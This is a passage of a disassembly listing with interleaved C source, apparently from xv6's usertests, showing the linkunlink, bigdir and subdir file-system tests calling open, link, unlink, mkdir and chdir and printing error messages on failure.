close(open("x", O_RDWR | O_CREATE));
1b65: 83 ec 08 sub $0x8,%esp
1b68: 68 02 02 00 00 push $0x202
1b6d: 68 31 47 00 00 push $0x4731
1b72: e8 8a 1d 00 00 call 3901 <open>
1b77: 89 04 24 mov %eax,(%esp)
1b7a: e8 6a 1d 00 00 call 38e9 <close>
1b7f: 83 c4 10 add $0x10,%esp
for(i = 0; i < 100; i++){
1b82: 83 eb 01 sub $0x1,%ebx
1b85: 75 c3 jne 1b4a <linkunlink+0x6a>
if(pid)
1b87: 8b 45 e4 mov -0x1c(%ebp),%eax
1b8a: 85 c0 test %eax,%eax
1b8c: 74 4f je 1bdd <linkunlink+0xfd>
wait();
1b8e: e8 36 1d 00 00 call 38c9 <wait>
printf(1, "linkunlink ok\n");
1b93: 83 ec 08 sub $0x8,%esp
1b96: 68 b9 44 00 00 push $0x44b9
1b9b: 6a 01 push $0x1
1b9d: e8 ce 1e 00 00 call 3a70 <printf>
}
1ba2: 8d 65 f4 lea -0xc(%ebp),%esp
1ba5: 5b pop %ebx
1ba6: 5e pop %esi
1ba7: 5f pop %edi
1ba8: 5d pop %ebp
1ba9: c3 ret
1baa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
link("cat", "x");
1bb0: 83 ec 08 sub $0x8,%esp
1bb3: 68 31 47 00 00 push $0x4731
1bb8: 68 b5 44 00 00 push $0x44b5
1bbd: e8 5f 1d 00 00 call 3921 <link>
1bc2: 83 c4 10 add $0x10,%esp
1bc5: e9 7b ff ff ff jmp 1b45 <linkunlink+0x65>
printf(1, "fork failed\n");
1bca: 52 push %edx
1bcb: 52 push %edx
1bcc: 68 19 4d 00 00 push $0x4d19
1bd1: 6a 01 push $0x1
1bd3: e8 98 1e 00 00 call 3a70 <printf>
exit();
1bd8: e8 e4 1c 00 00 call 38c1 <exit>
exit();
1bdd: e8 df 1c 00 00 call 38c1 <exit>
1be2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1be9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00001bf0 <bigdir>:
{
1bf0: 55 push %ebp
1bf1: 89 e5 mov %esp,%ebp
1bf3: 57 push %edi
1bf4: 56 push %esi
1bf5: 53 push %ebx
1bf6: 83 ec 24 sub $0x24,%esp
printf(1, "bigdir test\n");
1bf9: 68 c8 44 00 00 push $0x44c8
1bfe: 6a 01 push $0x1
1c00: e8 6b 1e 00 00 call 3a70 <printf>
unlink("bd");
1c05: c7 04 24 d5 44 00 00 movl $0x44d5,(%esp)
1c0c: e8 00 1d 00 00 call 3911 <unlink>
fd = open("bd", O_CREATE);
1c11: 5a pop %edx
1c12: 59 pop %ecx
1c13: 68 00 02 00 00 push $0x200
1c18: 68 d5 44 00 00 push $0x44d5
1c1d: e8 df 1c 00 00 call 3901 <open>
if(fd < 0){
1c22: 83 c4 10 add $0x10,%esp
1c25: 85 c0 test %eax,%eax
1c27: 0f 88 de 00 00 00 js 1d0b <bigdir+0x11b>
close(fd);
1c2d: 83 ec 0c sub $0xc,%esp
for(i = 0; i < 500; i++){
1c30: 31 f6 xor %esi,%esi
1c32: 8d 7d de lea -0x22(%ebp),%edi
close(fd);
1c35: 50 push %eax
1c36: e8 ae 1c 00 00 call 38e9 <close>
1c3b: 83 c4 10 add $0x10,%esp
1c3e: 66 90 xchg %ax,%ax
name[1] = '0' + (i / 64);
1c40: 89 f0 mov %esi,%eax
if(link("bd", name) != 0){
1c42: 83 ec 08 sub $0x8,%esp
name[0] = 'x';
1c45: c6 45 de 78 movb $0x78,-0x22(%ebp)
name[1] = '0' + (i / 64);
1c49: c1 f8 06 sar $0x6,%eax
if(link("bd", name) != 0){
1c4c: 57 push %edi
name[1] = '0' + (i / 64);
1c4d: 83 c0 30 add $0x30,%eax
if(link("bd", name) != 0){
1c50: 68 d5 44 00 00 push $0x44d5
name[1] = '0' + (i / 64);
1c55: 88 45 df mov %al,-0x21(%ebp)
name[2] = '0' + (i % 64);
1c58: 89 f0 mov %esi,%eax
1c5a: 83 e0 3f and $0x3f,%eax
name[3] = '\0';
1c5d: c6 45 e1 00 movb $0x0,-0x1f(%ebp)
name[2] = '0' + (i % 64);
1c61: 83 c0 30 add $0x30,%eax
1c64: 88 45 e0 mov %al,-0x20(%ebp)
if(link("bd", name) != 0){
1c67: e8 b5 1c 00 00 call 3921 <link>
1c6c: 83 c4 10 add $0x10,%esp
1c6f: 89 c3 mov %eax,%ebx
1c71: 85 c0 test %eax,%eax
1c73: 75 6e jne 1ce3 <bigdir+0xf3>
for(i = 0; i < 500; i++){
1c75: 83 c6 01 add $0x1,%esi
1c78: 81 fe f4 01 00 00 cmp $0x1f4,%esi
1c7e: 75 c0 jne 1c40 <bigdir+0x50>
unlink("bd");
1c80: 83 ec 0c sub $0xc,%esp
1c83: 68 d5 44 00 00 push $0x44d5
1c88: e8 84 1c 00 00 call 3911 <unlink>
1c8d: 83 c4 10 add $0x10,%esp
name[1] = '0' + (i / 64);
1c90: 89 d8 mov %ebx,%eax
if(unlink(name) != 0){
1c92: 83 ec 0c sub $0xc,%esp
name[0] = 'x';
1c95: c6 45 de 78 movb $0x78,-0x22(%ebp)
name[1] = '0' + (i / 64);
1c99: c1 f8 06 sar $0x6,%eax
if(unlink(name) != 0){
1c9c: 57 push %edi
name[1] = '0' + (i / 64);
1c9d: 83 c0 30 add $0x30,%eax
name[3] = '\0';
1ca0: c6 45 e1 00 movb $0x0,-0x1f(%ebp)
name[1] = '0' + (i / 64);
1ca4: 88 45 df mov %al,-0x21(%ebp)
name[2] = '0' + (i % 64);
1ca7: 89 d8 mov %ebx,%eax
1ca9: 83 e0 3f and $0x3f,%eax
1cac: 83 c0 30 add $0x30,%eax
1caf: 88 45 e0 mov %al,-0x20(%ebp)
if(unlink(name) != 0){
1cb2: e8 5a 1c 00 00 call 3911 <unlink>
1cb7: 83 c4 10 add $0x10,%esp
1cba: 85 c0 test %eax,%eax
1cbc: 75 39 jne 1cf7 <bigdir+0x107>
for(i = 0; i < 500; i++){
1cbe: 83 c3 01 add $0x1,%ebx
1cc1: 81 fb f4 01 00 00 cmp $0x1f4,%ebx
1cc7: 75 c7 jne 1c90 <bigdir+0xa0>
printf(1, "bigdir ok\n");
1cc9: 83 ec 08 sub $0x8,%esp
1ccc: 68 17 45 00 00 push $0x4517
1cd1: 6a 01 push $0x1
1cd3: e8 98 1d 00 00 call 3a70 <printf>
1cd8: 83 c4 10 add $0x10,%esp
}
1cdb: 8d 65 f4 lea -0xc(%ebp),%esp
1cde: 5b pop %ebx
1cdf: 5e pop %esi
1ce0: 5f pop %edi
1ce1: 5d pop %ebp
1ce2: c3 ret
printf(1, "bigdir link failed\n");
1ce3: 83 ec 08 sub $0x8,%esp
1ce6: 68 ee 44 00 00 push $0x44ee
1ceb: 6a 01 push $0x1
1ced: e8 7e 1d 00 00 call 3a70 <printf>
exit();
1cf2: e8 ca 1b 00 00 call 38c1 <exit>
printf(1, "bigdir unlink failed");
1cf7: 83 ec 08 sub $0x8,%esp
1cfa: 68 02 45 00 00 push $0x4502
1cff: 6a 01 push $0x1
1d01: e8 6a 1d 00 00 call 3a70 <printf>
exit();
1d06: e8 b6 1b 00 00 call 38c1 <exit>
printf(1, "bigdir create failed\n");
1d0b: 50 push %eax
1d0c: 50 push %eax
1d0d: 68 d8 44 00 00 push $0x44d8
1d12: 6a 01 push $0x1
1d14: e8 57 1d 00 00 call 3a70 <printf>
exit();
1d19: e8 a3 1b 00 00 call 38c1 <exit>
1d1e: 66 90 xchg %ax,%ax
00001d20 <subdir>:
{
1d20: 55 push %ebp
1d21: 89 e5 mov %esp,%ebp
1d23: 53 push %ebx
1d24: 83 ec 0c sub $0xc,%esp
printf(1, "subdir test\n");
1d27: 68 22 45 00 00 push $0x4522
1d2c: 6a 01 push $0x1
1d2e: e8 3d 1d 00 00 call 3a70 <printf>
unlink("ff");
1d33: c7 04 24 ab 45 00 00 movl $0x45ab,(%esp)
1d3a: e8 d2 1b 00 00 call 3911 <unlink>
if(mkdir("dd") != 0){
1d3f: c7 04 24 48 46 00 00 movl $0x4648,(%esp)
1d46: e8 de 1b 00 00 call 3929 <mkdir>
1d4b: 83 c4 10 add $0x10,%esp
1d4e: 85 c0 test %eax,%eax
1d50: 0f 85 b3 05 00 00 jne 2309 <subdir+0x5e9>
fd = open("dd/ff", O_CREATE | O_RDWR);
1d56: 83 ec 08 sub $0x8,%esp
1d59: 68 02 02 00 00 push $0x202
1d5e: 68 81 45 00 00 push $0x4581
1d63: e8 99 1b 00 00 call 3901 <open>
if(fd < 0){
1d68: 83 c4 10 add $0x10,%esp
fd = open("dd/ff", O_CREATE | O_RDWR);
1d6b: 89 c3 mov %eax,%ebx
if(fd < 0){
1d6d: 85 c0 test %eax,%eax
1d6f: 0f 88 81 05 00 00 js 22f6 <subdir+0x5d6>
write(fd, "ff", 2);
1d75: 83 ec 04 sub $0x4,%esp
1d78: 6a 02 push $0x2
1d7a: 68 ab 45 00 00 push $0x45ab
1d7f: 50 push %eax
1d80: e8 5c 1b 00 00 call 38e1 <write>
close(fd);
1d85: 89 1c 24 mov %ebx,(%esp)
1d88: e8 5c 1b 00 00 call 38e9 <close>
if(unlink("dd") >= 0){
1d8d: c7 04 24 48 46 00 00 movl $0x4648,(%esp)
1d94: e8 78 1b 00 00 call 3911 <unlink>
1d99: 83 c4 10 add $0x10,%esp
1d9c: 85 c0 test %eax,%eax
1d9e: 0f 89 3f 05 00 00 jns 22e3 <subdir+0x5c3>
if(mkdir("/dd/dd") != 0){
1da4: 83 ec 0c sub $0xc,%esp
1da7: 68 5c 45 00 00 push $0x455c
1dac: e8 78 1b 00 00 call 3929 <mkdir>
1db1: 83 c4 10 add $0x10,%esp
1db4: 85 c0 test %eax,%eax
1db6: 0f 85 14 05 00 00 jne 22d0 <subdir+0x5b0>
fd = open("dd/dd/ff", O_CREATE | O_RDWR);
1dbc: 83 ec 08 sub $0x8,%esp
1dbf: 68 02 02 00 00 push $0x202
1dc4: 68 7e 45 00 00 push $0x457e
1dc9: e8 33 1b 00 00 call 3901 <open>
if(fd < 0){
1dce: 83 c4 10 add $0x10,%esp
fd = open("dd/dd/ff", O_CREATE | O_RDWR);
1dd1: 89 c3 mov %eax,%ebx
if(fd < 0){
1dd3: 85 c0 test %eax,%eax
1dd5: 0f 88 24 04 00 00 js 21ff <subdir+0x4df>
write(fd, "FF", 2);
1ddb: 83 ec 04 sub $0x4,%esp
1dde: 6a 02 push $0x2
1de0: 68 9f 45 00 00 push $0x459f
1de5: 50 push %eax
1de6: e8 f6 1a 00 00 call 38e1 <write>
close(fd);
1deb: 89 1c 24 mov %ebx,(%esp)
1dee: e8 f6 1a 00 00 call 38e9 <close>
fd = open("dd/dd/../ff", 0);
1df3: 58 pop %eax
1df4: 5a pop %edx
1df5: 6a 00 push $0x0
1df7: 68 a2 45 00 00 push $0x45a2
1dfc: e8 00 1b 00 00 call 3901 <open>
if(fd < 0){
1e01: 83 c4 10 add $0x10,%esp
fd = open("dd/dd/../ff", 0);
1e04: 89 c3 mov %eax,%ebx
if(fd < 0){
1e06: 85 c0 test %eax,%eax
1e08: 0f 88 de 03 00 00 js 21ec <subdir+0x4cc>
cc = read(fd, buf, sizeof(buf));
1e0e: 83 ec 04 sub $0x4,%esp
1e11: 68 00 20 00 00 push $0x2000
1e16: 68 60 86 00 00 push $0x8660
1e1b: 50 push %eax
1e1c: e8 b8 1a 00 00 call 38d9 <read>
if(cc != 2 || buf[0] != 'f'){
1e21: 83 c4 10 add $0x10,%esp
1e24: 83 f8 02 cmp $0x2,%eax
1e27: 0f 85 3a 03 00 00 jne 2167 <subdir+0x447>
1e2d: 80 3d 60 86 00 00 66 cmpb $0x66,0x8660
1e34: 0f 85 2d 03 00 00 jne 2167 <subdir+0x447>
close(fd);
1e3a: 83 ec 0c sub $0xc,%esp
1e3d: 53 push %ebx
1e3e: e8 a6 1a 00 00 call 38e9 <close>
if(link("dd/dd/ff", "dd/dd/ffff") != 0){
1e43: 5b pop %ebx
1e44: 58 pop %eax
1e45: 68 e2 45 00 00 push $0x45e2
1e4a: 68 7e 45 00 00 push $0x457e
1e4f: e8 cd 1a 00 00 call 3921 <link>
1e54: 83 c4 10 add $0x10,%esp
1e57: 85 c0 test %eax,%eax
1e59: 0f 85 c6 03 00 00 jne 2225 <subdir+0x505>
if(unlink("dd/dd/ff") != 0){
1e5f: 83 ec 0c sub $0xc,%esp
1e62: 68 7e 45 00 00 push $0x457e
1e67: e8 a5 1a 00 00 call 3911 <unlink>
1e6c: 83 c4 10 add $0x10,%esp
1e6f: 85 c0 test %eax,%eax
1e71: 0f 85 16 03 00 00 jne 218d <subdir+0x46d>
if(open("dd/dd/ff", O_RDONLY) >= 0){
1e77: 83 ec 08 sub $0x8,%esp
1e7a: 6a 00 push $0x0
1e7c: 68 7e 45 00 00 push $0x457e
1e81: e8 7b 1a 00 00 call 3901 <open>
1e86: 83 c4 10 add $0x10,%esp
1e89: 85 c0 test %eax,%eax
1e8b: 0f 89 2c 04 00 00 jns 22bd <subdir+0x59d>
if(chdir("dd") != 0){
1e91: 83 ec 0c sub $0xc,%esp
1e94: 68 48 46 00 00 push $0x4648
1e99: e8 93 1a 00 00 call 3931 <chdir>
1e9e: 83 c4 10 add $0x10,%esp
1ea1: 85 c0 test %eax,%eax
1ea3: 0f 85 01 04 00 00 jne 22aa <subdir+0x58a>
if(chdir("dd/../../dd") != 0){
1ea9: 83 ec 0c sub $0xc,%esp
1eac: 68 16 46 00 00 push $0x4616
1eb1: e8 7b 1a 00 00 call 3931 <chdir>
1eb6: 83 c4 10 add $0x10,%esp
1eb9: 85 c0 test %eax,%eax
1ebb: 0f 85 b9 02 00 00 jne 217a <subdir+0x45a>
if(chdir("dd/../../../dd") != 0){
1ec1: 83 ec 0c sub $0xc,%esp
1ec4: 68 3c 46 00 00 push $0x463c
1ec9: e8 63 1a 00 00 call 3931 <chdir>
1ece: 83 c4 10 add $0x10,%esp
1ed1: 85 c0 test %eax,%eax
1ed3: 0f 85 a1 02 00 00 jne 217a <subdir+0x45a>
if(chdir("./..") != 0){
1ed9: 83 ec 0c sub $0xc,%esp
1edc: 68 4b 46 00 00 push $0x464b
1ee1: e8 4b 1a 00 00 call 3931 <chdir>
1ee6: 83 c4 10 add $0x10,%esp
1ee9: 85 c0 test %eax,%eax
1eeb: 0f 85 21 03 00 00 jne 2212 <subdir+0x4f2>
fd = open("dd/dd/ffff", 0);
1ef1: 83 ec 08 sub $0x8,%esp
1ef4: 6a 00 push $0x0
1ef6: 68 e2 45 00 00 push $0x45e2
1efb: e8 01 1a 00 00 call 3901 <open>
if(fd < 0){
1f00: 83 c4 10 add $0x10,%esp
fd = open("dd/dd/ffff", 0);
1f03: 89 c3 mov %eax,%ebx
if(fd < 0){
1f05: 85 c0 test %eax,%eax
1f07: 0f 88 e0 04 00 00 js 23ed <subdir+0x6cd>
if(read(fd, buf, sizeof(buf)) != 2){
1f0d: 83 ec 04 sub $0x4,%esp
1f10: 68 00 20 00 00 push $0x2000
1f15: 68 60 86 00 00 push $0x8660
1f1a: 50 push %eax
1f1b: e8 b9 19 00 00 call 38d9 <read>
1f20: 83 c4 10 add $0x10,%esp
1f23: 83 f8 02 cmp $0x2,%eax
1f26: 0f 85 ae 04 00 00 jne 23da <subdir+0x6ba>
close(fd);
1f2c: 83 ec 0c sub $0xc,%esp
1f2f: 53 push %ebx
1f30: e8 b4 19 00 00 call 38e9 <close>
if(open("dd/dd/ff", O_RDONLY) >= 0){
1f35: 59 pop %ecx
1f36: 5b pop %ebx
1f37: 6a 00 push $0x0
1f39: 68 7e 45 00 00 push $0x457e
1f3e: e8 be 19 00 00 call 3901 <open>
1f43: 83 c4 10 add $0x10,%esp
1f46: 85 c0 test %eax,%eax
1f48: 0f 89 65 02 00 00 jns 21b3 <subdir+0x493>
if(open("dd/ff/ff", O_CREATE|O_RDWR) >= 0){
1f4e: 83 ec 08 sub $0x8,%esp
1f51: 68 02 02 00 00 push $0x202
1f56: 68 96 46 00 00 push $0x4696
1f5b: e8 a1 19 00 00 call 3901 <open>
1f60: 83 c4 10 add $0x10,%esp
1f63: 85 c0 test %eax,%eax
1f65: 0f 89 35 02 00 00 jns 21a0 <subdir+0x480>
if(open("dd/xx/ff", O_CREATE|O_RDWR) >= 0){
1f6b: 83 ec 08 sub $0x8,%esp
1f6e: 68 02 02 00 00 push $0x202
1f73: 68 bb 46 00 00 push $0x46bb
1f78: e8 84 19 00 00 call 3901 <open>
1f7d: 83 c4 10 add $0x10,%esp
1f80: 85 c0 test %eax,%eax
1f82: 0f 89 0f 03 00 00 jns 2297 <subdir+0x577>
if(open("dd", O_CREATE) >= 0){
1f88: 83 ec 08 sub $0x8,%esp
1f8b: 68 00 02 00 00 push $0x200
1f90: 68 48 46 00 00 push $0x4648
1f95: e8 67 19 00 00 call 3901 <open>
1f9a: 83 c4 10 add $0x10,%esp
1f9d: 85 c0 test %eax,%eax
1f9f: 0f 89 df 02 00 00 jns 2284 <subdir+0x564>
if(open("dd", O_RDWR) >= 0){
1fa5: 83 ec 08 sub $0x8,%esp
1fa8: 6a 02 push $0x2
1faa: 68 48 46 00 00 push $0x4648
1faf: e8 4d 19 00 00 call 3901 <open>
1fb4: 83 c4 10 add $0x10,%esp
1fb7: 85 c0 test %eax,%eax
1fb9: 0f 89 b2 02 00 00 jns 2271 <subdir+0x551>
if(open("dd", O_WRONLY) >= 0){
1fbf: 83 ec 08 sub $0x8,%esp
1fc2: 6a 01 push $0x1
1fc4: 68 48 46 00 00 push $0x4648
1fc9: e8 33 19 00 00 call 3901 <open>
1fce: 83 c4 10 add $0x10,%esp
1fd1: 85 c0 test %eax,%eax
1fd3: 0f 89 85 02 00 00 jns 225e <subdir+0x53e>
if(link("dd/ff/ff", "dd/dd/xx") == 0){
1fd9: 83 ec 08 sub $0x8,%esp
1fdc: 68 2a 47 00 00 push $0x472a
1fe1: 68 96 46 00 00 push $0x4696
1fe6: e8 36 19 00 00 call 3921 <link>
1feb: 83 c4 10 add $0x10,%esp
1fee: 85 c0 test %eax,%eax
1ff0: 0f 84 55 02 00 00 je 224b <subdir+0x52b>
if(link("dd/xx/ff", "dd/dd/xx") == 0){
1ff6: 83 ec 08 sub $0x8,%esp
1ff9: 68 2a 47 00 00 push $0x472a
1ffe: 68 bb 46 00 00 push $0x46bb
2003: e8 19 19 00 00 call 3921 <link>
2008: 83 c4 10 add $0x10,%esp
200b: 85 c0 test %eax,%eax
200d: 0f 84 25 02 00 00 je 2238 <subdir+0x518>
if(link("dd/ff", "dd/dd/ffff") == 0){
2013: 83 ec 08 sub $0x8,%esp
2016: 68 e2 45 00 00 push $0x45e2
201b: 68 81 45 00 00 push $0x4581
2020: e8 fc 18 00 00 call 3921 <link>
2025: 83 c4 10 add $0x10,%esp
2028: 85 c0 test %eax,%eax
202a: 0f 84 a9 01 00 00 je 21d9 <subdir+0x4b9>
if(mkdir("dd/ff/ff") == 0){
2030: 83 ec 0c sub $0xc,%esp
2033: 68 96 46 00 00 push $0x4696
2038: e8 ec 18 00 00 call 3929 <mkdir>
203d: 83 c4 10 add $0x10,%esp
2040: 85 c0 test %eax,%eax
2042: 0f 84 7e 01 00 00 je 21c6 <subdir+0x4a6>
if(mkdir("dd/xx/ff") == 0){
2048: 83 ec 0c sub $0xc,%esp
204b: 68 bb 46 00 00 push $0x46bb
2050: e8 d4 18 00 00 call 3929 <mkdir>
2055: 83 c4 10 add $0x10,%esp
2058: 85 c0 test %eax,%eax
205a: 0f 84 67 03 00 00 je 23c7 <subdir+0x6a7>
if(mkdir("dd/dd/ffff") == 0){
2060: 83 ec 0c sub $0xc,%esp
2063: 68 e2 45 00 00 push $0x45e2
2068: e8 bc 18 00 00 call 3929 <mkdir>
206d: 83 c4 10 add $0x10,%esp
2070: 85 c0 test %eax,%eax
2072: 0f 84 3c 03 00 00 je 23b4 <subdir+0x694>
if(unlink("dd/xx/ff") == 0){
2078: 83 ec 0c sub $0xc,%esp
207b: 68 bb 46 00 00 push $0x46bb
2080: e8 8c 18 00 00 call 3911 <unlink>
2085: 83 c4 10 add $0x10,%esp
2088: 85 c0 test %eax,%eax
208a: 0f 84 11 03 00 00 je 23a1 <subdir+0x681>
if(unlink("dd/ff/ff") == 0){
2090: 83 ec 0c sub $0xc,%esp
2093: 68 96 46 00 00 push $0x4696
2098: e8 74 18 00 00 call 3911 <unlink>
209d: 83 c4 10 add $0x10,%esp
20a0: 85 c0 test %eax,%eax
20a2: 0f 84 e6 02 00 00 je 238e <subdir+0x66e>
if(chdir("dd/ff") == 0){
20a8: 83 ec 0c sub $0xc,%esp
20ab: 68 81 45 00 00 push $0x4581
20b0: e8 7c 18 00 00 call 3931 <chdir>
20b5: 83 c4 10 add $0x10,%esp
20b8: 85 c0 test %eax,%eax
20ba: 0f 84 bb 02 00 00 je 237b <subdir+0x65b>
if(chdir("dd/xx") == 0){
20c0: 83 ec 0c sub $0xc,%esp
20c3: 68 2d 47 00 00 push $0x472d
20c8: e8 64 18 00 00 call 3931 <chdir>
20cd: 83 c4 10 add $0x10,%esp
20d0: 85 c0 test %eax,%eax
20d2: 0f 84 90 02 00 00 je 2368 <subdir+0x648>
if(unlink("dd/dd/ffff") != 0){
20d8: 83 ec 0c sub $0xc,%esp
20db: 68 e2 45 00 00 push $0x45e2
20e0: e8 2c 18 00 00 call 3911 <unlink>
20e5: 83 c4 10 add $0x10,%esp
20e8: 85 c0 test %eax,%eax
20ea: 0f 85 9d 00 00 00 jne 218d <subdir+0x46d>
if(unlink("dd/ff") != 0){
20f0: 83 ec 0c sub $0xc,%esp
20f3: 68 81 45 00 00 push $0x4581
20f8: e8 14 18 00 00 call 3911 <unlink>
20fd: 83 c4 10 add $0x10,%esp
2100: 85 c0 test %eax,%eax
2102: 0f 85 4d 02 00 00 jne 2355 <subdir+0x635>
if(unlink("dd") == 0){
2108: 83 ec 0c sub $0xc,%esp
210b: 68 48 46 00 00 push $0x4648
2110: e8 fc 17 00 00 call 3911 <unlink>
2115: 83 c4 10 add $0x10,%esp
2118: 85 c0 test %eax,%eax
211a: 0f 84 22 02 00 00 je 2342 <subdir+0x622>
if(unlink("dd/dd") < 0){
2120: 83 ec 0c sub $0xc,%esp
2123: 68 5d 45 00 00 push $0x455d
2128: e8 e4 17 00 00 call 3911 <unlink>
212d: 83 c4 10 add $0x10,%esp
2130: 85 c0 test %eax,%eax
2132: 0f 88 f7 01 00 00 js 232f <subdir+0x60f>
if(unlink("dd") < 0){
2138: 83 ec 0c sub $0xc,%esp
213b: 68 48 46 00 00 push $0x4648
2140: e8 cc 17 00 00 call 3911 <unlink>
2145: 83 c4 10 add $0x10,%esp
2148: 85 c0 test %eax,%eax
214a: 0f 88 cc 01 00 00 js 231c <subdir+0x5fc>
printf(1, "subdir ok\n");
2150: 83 ec 08 sub $0x8,%esp
2153: 68 2a 48 00 00 push $0x482a
2158: 6a 01 push $0x1
215a: e8 11 19 00 00 call 3a70 <printf>
}
215f: 83 c4 10 add $0x10,%esp
2162: 8b 5d fc mov -0x4(%ebp),%ebx
2165: c9 leave
2166: c3 ret
printf(1, "dd/dd/../ff wrong content\n");
2167: 50 push %eax
2168: 50 push %eax
2169: 68 c7 45 00 00 push $0x45c7
216e: 6a 01 push $0x1
2170: e8 fb 18 00 00 call 3a70 <printf>
exit();
2175: e8 47 17 00 00 call 38c1 <exit>
printf(1, "chdir dd/../../dd failed\n");
217a: 50 push %eax
217b: 50 push %eax
217c: 68 22 46 00 00 push $0x4622
2181: 6a 01 push $0x1
2183: e8 e8 18 00 00 call 3a70 <printf>
exit();
2188: e8 34 17 00 00 call 38c1 <exit>
printf(1, "unlink dd/dd/ff failed\n");
218d: 52 push %edx
218e: 52 push %edx
218f: 68 ed 45 00 00 push $0x45ed
2194: 6a 01 push $0x1
2196: e8 d5 18 00 00 call 3a70 <printf>
exit();
219b: e8 21 17 00 00 call 38c1 <exit>
printf(1, "create dd/ff/ff succeeded!\n");
21a0: 50 push %eax
21a1: 50 push %eax
21a2: 68 9f 46 00 00 push $0x469f
21a7: 6a 01 push $0x1
21a9: e8 c2 18 00 00 call 3a70 <printf>
exit();
21ae: e8 0e 17 00 00 call 38c1 <exit>
printf(1, "open (unlinked) dd/dd/ff succeeded!\n");
21b3: 52 push %edx
21b4: 52 push %edx
21b5: 68 84 50 00 00 push $0x5084
21ba: 6a 01 push $0x1
21bc: e8 af 18 00 00 call 3a70 <printf>
exit();
21c1: e8 fb 16 00 00 call 38c1 <exit>
printf(1, "mkdir dd/ff/ff succeeded!\n");
21c6: 52 push %edx
21c7: 52 push %edx
21c8: 68 33 47 00 00 push $0x4733
21cd: 6a 01 push $0x1
21cf: e8 9c 18 00 00 call 3a70 <printf>
exit();
21d4: e8 e8 16 00 00 call 38c1 <exit>
printf(1, "link dd/ff dd/dd/ffff succeeded!\n");
21d9: 51 push %ecx
21da: 51 push %ecx
21db: 68 f4 50 00 00 push $0x50f4
21e0: 6a 01 push $0x1
21e2: e8 89 18 00 00 call 3a70 <printf>
exit();
21e7: e8 d5 16 00 00 call 38c1 <exit>
printf(1, "open dd/dd/../ff failed\n");
21ec: 50 push %eax
21ed: 50 push %eax
21ee: 68 ae 45 00 00 push $0x45ae
21f3: 6a 01 push $0x1
21f5: e8 76 18 00 00 call 3a70 <printf>
exit();
21fa: e8 c2 16 00 00 call 38c1 <exit>
printf(1, "create dd/dd/ff failed\n");
21ff: 51 push %ecx
2200: 51 push %ecx
2201: 68 87 45 00 00 push $0x4587
2206: 6a 01 push $0x1
2208: e8 63 18 00 00 call 3a70 <printf>
exit();
220d: e8 af 16 00 00 call 38c1 <exit>
printf(1, "chdir ./.. failed\n");
2212: 50 push %eax
2213: 50 push %eax
2214: 68 50 46 00 00 push $0x4650
2219: 6a 01 push $0x1
221b: e8 50 18 00 00 call 3a70 <printf>
exit();
2220: e8 9c 16 00 00 call 38c1 <exit>
printf(1, "link dd/dd/ff dd/dd/ffff failed\n");
2225: 51 push %ecx
2226: 51 push %ecx
2227: 68 3c 50 00 00 push $0x503c
222c: 6a 01 push $0x1
222e: e8 3d 18 00 00 call 3a70 <printf>
exit();
2233: e8 89 16 00 00 call 38c1 <exit>
printf(1, "link dd/xx/ff dd/dd/xx succeeded!\n");
2238: 53 push %ebx
2239: 53 push %ebx
223a: 68 d0 50 00 00 push $0x50d0
223f: 6a 01 push $0x1
2241: e8 2a 18 00 00 call 3a70 <printf>
exit();
2246: e8 76 16 00 00 call 38c1 <exit>
printf(1, "link dd/ff/ff dd/dd/xx succeeded!\n");
224b: 50 push %eax
224c: 50 push %eax
224d: 68 ac 50 00 00 push $0x50ac
2252: 6a 01 push $0x1
2254: e8 17 18 00 00 call 3a70 <printf>
exit();
2259: e8 63 16 00 00 call 38c1 <exit>
printf(1, "open dd wronly succeeded!\n");
225e: 50 push %eax
225f: 50 push %eax
2260: 68 0f 47 00 00 push $0x470f
2265: 6a 01 push $0x1
2267: e8 04 18 00 00 call 3a70 <printf>
exit();
226c: e8 50 16 00 00 call 38c1 <exit>
printf(1, "open dd rdwr succeeded!\n");
2271: 50 push %eax
2272: 50 push %eax
2273: 68 f6 46 00 00 push $0x46f6
2278: 6a 01 push $0x1
227a: e8 f1 17 00 00 call 3a70 <printf>
exit();
227f: e8 3d 16 00 00 call 38c1 <exit>
printf(1, "create dd succeeded!\n");
2284: 50 push %eax
2285: 50 push %eax
2286: 68 e0 46 00 00 push $0x46e0
228b: 6a 01 push $0x1
228d: e8 de 17 00 00 call 3a70 <printf>
exit();
2292: e8 2a 16 00 00 call 38c1 <exit>
printf(1, "create dd/xx/ff succeeded!\n");
2297: 50 push %eax
2298: 50 push %eax
2299: 68 c4 46 00 00 push $0x46c4
229e: 6a 01 push $0x1
22a0: e8 cb 17 00 00 call 3a70 <printf>
exit();
22a5: e8 17 16 00 00 call 38c1 <exit>
printf(1, "chdir dd failed\n");
22aa: 50 push %eax
22ab: 50 push %eax
22ac: 68 05 46 00 00 push $0x4605
22b1: 6a 01 push $0x1
22b3: e8 b8 17 00 00 call 3a70 <printf>
exit();
22b8: e8 04 16 00 00 call 38c1 <exit>
printf(1, "open (unlinked) dd/dd/ff succeeded\n");
22bd: 50 push %eax
22be: 50 push %eax
22bf: 68 60 50 00 00 push $0x5060
22c4: 6a 01 push $0x1
22c6: e8 a5 17 00 00 call 3a70 <printf>
exit();
22cb: e8 f1 15 00 00 call 38c1 <exit>
printf(1, "subdir mkdir dd/dd failed\n");
22d0: 53 push %ebx
22d1: 53 push %ebx
22d2: 68 63 45 00 00 push $0x4563
22d7: 6a 01 push $0x1
22d9: e8 92 17 00 00 call 3a70 <printf>
exit();
22de: e8 de 15 00 00 call 38c1 <exit>
printf(1, "unlink dd (non-empty dir) succeeded!\n");
22e3: 50 push %eax
22e4: 50 push %eax
22e5: 68 14 50 00 00 push $0x5014
22ea: 6a 01 push $0x1
22ec: e8 7f 17 00 00 call 3a70 <printf>
exit();
22f1: e8 cb 15 00 00 call 38c1 <exit>
printf(1, "create dd/ff failed\n");
22f6: 50 push %eax
22f7: 50 push %eax
22f8: 68 47 45 00 00 push $0x4547
22fd: 6a 01 push $0x1
22ff: e8 6c 17 00 00 call 3a70 <printf>
exit();
2304: e8 b8 15 00 00 call 38c1 <exit>
printf(1, "subdir mkdir dd failed\n");
2309: 50 push %eax
230a: 50 push %eax
230b: 68 2f 45 00 00 push $0x452f
2310: 6a 01 push $0x1
2312: e8 59 17 00 00 call 3a70 <printf>
exit();
2317: e8 a5 15 00 00 call 38c1 <exit>
printf(1, "unlink dd failed\n");
231c: 50 push %eax
231d: 50 push %eax
